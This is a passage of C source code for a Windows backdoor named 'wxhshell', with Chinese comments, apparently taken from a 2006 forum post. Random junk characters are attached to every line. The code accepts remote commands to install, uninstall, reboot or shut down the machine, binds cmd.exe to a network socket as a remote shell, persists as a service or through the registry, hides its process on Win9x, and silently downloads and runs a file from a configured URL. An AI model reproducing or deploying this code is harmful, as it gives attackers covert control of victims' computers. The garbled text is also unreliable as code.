    break; VcP#/&B|  
  } R0|X;3  
  // 安装 FYj3! H  
  case 'i': { we@bq,\w  
    if(Install()) |amEuKJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2c~^|@   
    else ux }DWrR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dlU=k9N-  
    break; T>z@;5C  
    } 936t6K&  
  // 卸载 gK>Vm9rO  
  case 'r': { ~}5(J,1!  
    if(Uninstall()) wHCsEp(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 jT"HZB6  
    else ' ZJ6p0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u+V;r)J{  
    break; c:iMbJOn#  
    } v6r w.  
  // 显示 wxhshell 所在路径 nO/5X>A,Zw  
  case 'p': { <@yyx7  
    char svExeFile[MAX_PATH]; vxgm0ZOMN  
    strcpy(svExeFile,"\n\r"); ~\^8 ^  
      strcat(svExeFile,ExeFile); yTEuf@  
        send(wsh,svExeFile,strlen(svExeFile),0); 7KEGTKfW  
    break; I2 Kb.`'!  
    } J@5 OZFMZ  
  // 重启 K%g\\uo   
  case 'b': { OlK2<<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lojn8uL  
    if(Boot(REBOOT)) A~6 Cs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F,W(H@ ~x  
    else { H^s SHj  
    closesocket(wsh); \uaJw\EZ  
    ExitThread(0); S\,{ qhd  
    } q8D1MEBL`  
    break; '-x%?Ll  
    } J0oR]eT}  
  // 关机 EAI[J&c  
  case 'd': { +2g3%c0}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zPXd]jIwV  
    if(Boot(SHUTDOWN)) :JS} (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Nu} HcC+  
    else { (UM+?]Qwy  
    closesocket(wsh); #i,O "`4  
    ExitThread(0); v:>P;\]r9M  
    } ^\I$tnY`  
    break; ?{2-,M0  
    } ALv\"uUNu+  
  // 获取shell -7`J(f.rYC  
  case 's': { 4{R`  
    CmdShell(wsh); n5 i}J/Sa2  
    closesocket(wsh); jHzy1P{?  
    ExitThread(0); &qC>*X.  
    break; E% 'DIs  
  } y6s$.93  
  // 退出 ,>^~u  
  case 'x': { ]]7T5'.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7%'<}u  
    CloseIt(wsh); |RmBa'.)z  
    break; cBA[D~s  
    } Nt'5}  
  // 离开 1-n0"lP~4  
  case 'q': { +~@Y#>+./l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l\5 NuCgRY  
    closesocket(wsh); IlrmXSr  
    WSACleanup(); ' 4"L;){:L  
    exit(1); O^GXFz^  
    break; s,RS}ek~|  
        } 3:gk:j#  
  } 5Zov< +kE  
  } 1K`A.J:Uy  
:o:??tqw  
  // 提示信息 /[s$A?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"%fz8v  
} )\(pDn$W  
  } GyCpGP|AZ  
kr?| >6?  
  return; A3n"zxU  
} 2S;zze7)  
p5KNqqZZ  
// shell模块句柄 U]acm\^Z  
int CmdShell(SOCKET sock) [>0r'-kI  
{ +M*a.ra0OF  
STARTUPINFO si; HL?pnT09  
ZeroMemory(&si,sizeof(si)); ,aJrN!fzU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vEsSqzc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2R!W5gs1<  
PROCESS_INFORMATION ProcessInfo; 6yb<4@LOb  
char cmdline[]="cmd"; v^tKT&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $enh45Wy  
  return 0; ;w>B}v;RE  
} <wC1+/]  
yi OF&  
// 自身启动模式 ^kq!/c3r  
int StartFromService(void) ^wlep1D  
{ U*@_T3N  
typedef struct { SfU!  
{ `g=~u{ 0  
  DWORD ExitStatus; *pMA V [^  
  DWORD PebBaseAddress; #5D+XBT  
  DWORD AffinityMask; =Vs<DO{|4q  
  DWORD BasePriority; H[r0jREK  
  ULONG UniqueProcessId; lg1D>=(mY  
  ULONG InheritedFromUniqueProcessId; f"Iyo:Wt  
}   PROCESS_BASIC_INFORMATION; 2?j1~]DvZ  
)B_h"5X4\y  
PROCNTQSIP NtQueryInformationProcess; zvD5i,I  
f/y K|[g~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H4,yuV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )sHPIxHI  
=m:W  
  HANDLE             hProcess; %vXQ Sz  
  PROCESS_BASIC_INFORMATION pbi; K="+2]{I  
NSq=_8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U~m.I  
  if(NULL == hInst ) return 0; 0YL0Oa+7  
#7=LI\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); St`m52V(5X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YLGLr @:q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q)>'fZ)  
H<;j&\$q  
  if (!NtQueryInformationProcess) return 0; yH^*Fp8V  
R 6Em^A/>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %u}sVRJ  
  if(!hProcess) return 0; vknFtpx  
BE~[%6T7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `vw.~OBl  
B}X#oA  
  CloseHandle(hProcess); b G)MG0<TT  
}b`*%141  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "+&<Qd2  
if(hProcess==NULL) return 0; ;>N ~ ,Q  
z3]U% y(,  
HMODULE hMod; 639k&"V  
char procName[255]; V{{x~Q9  
unsigned long cbNeeded; YqgW8 EM  
k6BgY|0gC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R`q!~8u  
1tW:(~ =a;  
  CloseHandle(hProcess); Fev3CV$  
=*jcO119L  
if(strstr(procName,"services")) return 1; // 以服务启动 S)yV51^B  
]||=<!^kn  
  return 0; // 注册表启动 'QF>e  
} Vi WgX.  
:8rCCop Uv  
// 主模块 OWsYE?  
int StartWxhshell(LPSTR lpCmdLine) #9OP.4  
{ sjm79/  
  SOCKET wsl; W+?[SnHL/  
BOOL val=TRUE; 9DX3]Z\7X  
  int port=0; G,*s9P]1  
  struct sockaddr_in door; K8Zk{on  
%SCu29km  
  if(wscfg.ws_autoins) Install(); hm>*eJNp]  
Wh5O{G@Ut  
port=atoi(lpCmdLine); mNoqs&UB  
;!?K.,N:N  
if(port<=0) port=wscfg.ws_port; o"[bIXf-h  
$:!T/*p*  
  WSADATA data; Hw&M2a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u,:`5*al{  
Bw.&3efd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IviQ)h p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6a?p?I K^  
  door.sin_family = AF_INET; RCXSz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rrYp^xLa`  
  door.sin_port = htons(port); P qLqF5`S  
;NE/!!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &tCtCk%{j  
closesocket(wsl); ZnLk :6'  
return 1; T0%TeFY  
} 9'g{<(R]  
2j1v.%  
  if(listen(wsl,2) == INVALID_SOCKET) { 3ohcHQ/a  
closesocket(wsl); ( y*X8  
return 1; E2'e}RQ  
} ZGhoV#T@  
  Wxhshell(wsl); %+ a@|Z   
  WSACleanup(); WG}CPkj  
K-C-+RB  
return 0; [[h)4H{T  
9X9zIh]JV  
} a] =\h'S  
L]N2r MM  
// 以NT服务方式启动 92VX5?Cyg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +|)1_NK  
{ x=Jn&4q  
DWORD   status = 0; 6xh#;+e }  
  DWORD   specificError = 0xfffffff; jMui+G(h  
NP'Ke:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t<,p-TM]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g4aX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5dw@g4N %^  
  serviceStatus.dwWin32ExitCode     = 0; oh0|2IrM  
  serviceStatus.dwServiceSpecificExitCode = 0; D*'M^k|1  
  serviceStatus.dwCheckPoint       = 0; A>%UYA  
  serviceStatus.dwWaitHint       = 0; h^kNM8  
GY]6#>D#7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h!av)nhM  
  if (hServiceStatusHandle==0) return; l~TIFmHkh%  
Gj8[*3d  
status = GetLastError(); 8:?Q(M7  
  if (status!=NO_ERROR) |#:dC #  
{ ZHECcPhz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :*:fu n  
    serviceStatus.dwCheckPoint       = 0; kah3Uhr~  
    serviceStatus.dwWaitHint       = 0; jI`To%^ Y  
    serviceStatus.dwWin32ExitCode     = status; Kx 185Q'W  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0nq}SH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V,"iMo  
    return; VfqY_NmgC  
  } a {$k<@Ww  
tr9Y1vxo{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &9w%n  
  serviceStatus.dwCheckPoint       = 0; y<%.wM]-J  
  serviceStatus.dwWaitHint       = 0; )]?egw5l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I5yd )72  
} I= h4s(  
8Gl5)=2  
// 处理NT服务事件,比如:启动、停止 ZQ'  z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C=aj&  
{ Nwl RPyt  
switch(fdwControl) %_R|@cyD  
{ ^Xy$is3  
case SERVICE_CONTROL_STOP: <C"N X  
  serviceStatus.dwWin32ExitCode = 0; ,x"yZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R5&$h$[/  
  serviceStatus.dwCheckPoint   = 0; ->2wrOH|H  
  serviceStatus.dwWaitHint     = 0; (<R\  
  { |5B,cB_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p/WH#4Xdr  
  } 8 ]06!7S}  
  return; *tfDXQ^mN  
case SERVICE_CONTROL_PAUSE: b}&7~4zw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +}XL>=-5  
  break; ciGpluQF  
case SERVICE_CONTROL_CONTINUE: N!Wq}#&l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `Ivw`}L  
  break; Z++Z@J"  
case SERVICE_CONTROL_INTERROGATE: 5*wApu{2A  
  break; ?WQd  
}; 'Rkvsch  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r;on0wm&B  
} .1}rzh}8  
x"l lX  
// 标准应用程序主函数 g[wP!y%V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *JY`.t  
{ O})u'  
J={OOj  
// 获取操作系统版本 H")N_BB  
OsIsNt=GetOsVer(); /=YqjZTCq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B#k3"vk#  
MpIw^a3(r  
  // 从命令行安装 HEB/\  
  if(strpbrk(lpCmdLine,"iI")) Install(); mB^I @oZ*  
%V<F<  
  // 下载执行文件 WW [`E  
if(wscfg.ws_downexe) { /x:(SR2,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e8ULf~I  
  WinExec(wscfg.ws_filenam,SW_HIDE); L>~@9a\jO  
} T7lj39pJq  
n:*_uc^C  
if(!OsIsNt) { vJj:9KcP>h  
// 如果时win9x,隐藏进程并且设置为注册表启动 4)odFq:  
HideProc(); *pb:9JKi  
StartWxhshell(lpCmdLine); N5f0| U&  
} or%gTVZ  
else >1a \ %G  
  if(StartFromService()) @W1WReK]f  
  // 以服务方式启动 przubMt  
  StartServiceCtrlDispatcher(DispatchTable); %EVV-n@  
else I`"-$99|t1  
  // 普通方式启动 (Q@+v<   
  StartWxhshell(lpCmdLine); 3KZ y H  
<=m 30{;f  
return 0; ]D ?# \|  
}
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只看该作者 1 发表于: 2006-10-10
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